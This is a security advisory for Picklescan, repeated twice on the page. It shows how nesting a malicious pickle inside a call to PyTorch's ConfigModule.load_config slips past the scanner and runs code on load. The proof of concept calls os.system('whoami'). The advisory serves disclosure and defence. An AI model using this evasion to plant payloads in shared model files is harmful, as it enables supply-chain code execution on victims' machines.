Headline

GHSA-vv6j-3g6g-2pvj: Picklescan missing detection when calling pytorch function torch.utils._config_module.load_config

Summary

Using torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to torch.utils._config_module.load_config function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn’t dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

import pickle
from torch.utils._config_module import ConfigModule

class Evil:
    def __reduce__(self):
        return (os.system, ('whoami',))

class EvilTorchUtilsConfigModuleLoadConfig:
    def __reduce__(self):
        evil_payload = pickle.dumps(Evil())
        return ConfigModule.load_config, (None, evil_payload)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT https://github.com/Qhaoduoyu

5 hours ago

ghsa

Open in Source

#git #rce

Summary

Using torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to torch.utils._config_module.load_config function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn’t dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

import pickle
from torch.utils._config_module import ConfigModule

class Evil:
    def __reduce__(self):
        return (os.system, ('whoami',))

class EvilTorchUtilsConfigModuleLoadConfig:
    def __reduce__(self):
        evil_payload = pickle.dumps(Evil())
        return ConfigModule.load_config, (None, evil_payload)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu

References